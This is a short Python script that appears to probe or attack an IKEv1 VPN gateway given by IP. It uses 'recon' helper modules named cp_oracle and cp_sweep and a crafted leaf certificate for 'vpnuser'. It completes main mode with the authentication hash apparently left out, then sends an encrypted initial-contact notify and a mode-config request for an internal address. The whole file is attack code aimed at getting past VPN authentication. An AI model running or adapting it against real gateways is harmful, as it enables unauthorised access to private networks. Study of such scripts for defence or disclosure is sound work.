import os, struct, sys
sys.path.insert(0, "/root/recon")
import cp_oracle as co
import cp_sweep as cs

ip = sys.argv[1]
s = co.Session(ip, "vpnuser", timeout=6.0)
s.debug = True
f = cs.make_leaf("vpnuser")
if not s.msg1():
    print("no msg2"); sys.exit()
print("msg2 vids:", s.notes)
if not s.msg3():
    print("no msg4"); sys.exit()
print("msg4 ok")
ok = s.msg5(f, with_hash=False)
print("msg5 ->", ok, s.notes)
if not ok:
    sys.exit()
print("ipsec_iv", s.ipsec_iv.hex() if s.ipsec_iv else None)
# initial contact
mid = 12345
nt = struct.pack(">IBBH", 1, 1, 16, 24578) + s.c1 + s.c2
s.enc_send(5, mid, [(11, nt)])
print("initial contact sent")
# mode config
mid = 23456
attrs = struct.pack(">HH", 1, 4) + b"\x00\x00\x00\x00" + struct.pack(">HH", 2, 0) + struct.pack(">HH", 3, 0)
cfg = struct.pack(">BBH", 1, 0, 0) + attrs
s.enc_send(6, mid, [(14, cfg)])
for i in range(4):
    m, plain = s.enc_recv()
    if plain is None:
        print("no reply", i)
        continue
    print("reply msgid", m, "len", len(plain))
    for typ, body, raw in co.parse_payloads(b"\x00" * co.HDR + plain, 8):
        print("  type", typ, "len", len(body), body[:40].hex())
    print("  text:", co.text_of(plain))
s.close()
